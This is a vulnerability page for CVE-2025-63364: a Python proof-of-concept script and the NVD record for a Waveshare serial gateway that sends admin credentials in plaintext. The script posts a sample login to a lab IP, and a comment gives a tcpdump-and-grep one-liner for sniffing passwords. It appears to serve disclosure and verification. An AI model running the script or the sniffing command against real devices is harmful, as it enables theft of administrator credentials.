CVE-2025-63364

# CVE-2025-63364 PoC - Waveshare Gateway Plaintext Credential Transmission # Description: This PoC demonstrates capturing plaintext admin credentials from the vulnerable device import requests import json from urllib.parse import urlencode TARGET_IP = "192.168.1.100" # Target device IP LOGIN_URL = f"http://{TARGET_IP}/cgi-bin/login" def capture_credentials(): """ Simulate credential capture via network sniffing. In real attack, use Wireshark/tcpdump to capture HTTP traffic. """ # This PoC shows the vulnerable login request structure payload = { "username": "admin", "password": "admin123" } # Vulnerable: credentials sent in plaintext try: response = requests.post(LOGIN_URL, data=payload, timeout=5) print(f"[+] Response Status: {response.status_code}") print(f"[+] Raw Request (vulnerable): {payload}") # In real attack, capture this via: # tcpdump -i eth0 -A 'tcp port 80' | grep password return True except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False def verify_vulnerability(): """ Check if target device is vulnerable by attempting login and observing response patterns. """ print(f"[*] Testing CVE-2025-63364 on {TARGET_IP}") print("[*] Vulnerable versions: Firmware V3.1.1.0, HW 4.3.2.1, Webpage V7.04T.07.002880.0301") result = capture_credentials() if result: print("[!] Device appears to transmit credentials in plaintext") print("[!] Attackers can capture admin credentials via network sniffing") return result if __name__ == "__main__": verify_vulnerability()

{"cve": {"id": "CVE-2025-63364", "sourceIdentifier": "[email protected]", "published": "2025-12-04T17:15:56.380", "lastModified": "2025-12-16T20:59:38.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 was discovered to transmit Administrator credentials in plaintext."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:waveshare:rs232\\/485_to_wifi_eth_\\(b\\)_firmware:3.1.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F7FD270F-5998-4F41-A80E-8017DF6A142B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:waveshare:rs232\\/485_to_wifi_eth_\\(b\\):4.3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "F085A075-48AC-42E4-9BA6-DBB9A8B2935B"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1AGv9KWMTB71NJfIOncuNO6FyK0UAqxmL/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://otsecverse.github.io/OTSecVerse/posts/Post-4/", "source": "[email protected]", "tags": ["Third Party Advisory", "Mitigation"]}]}}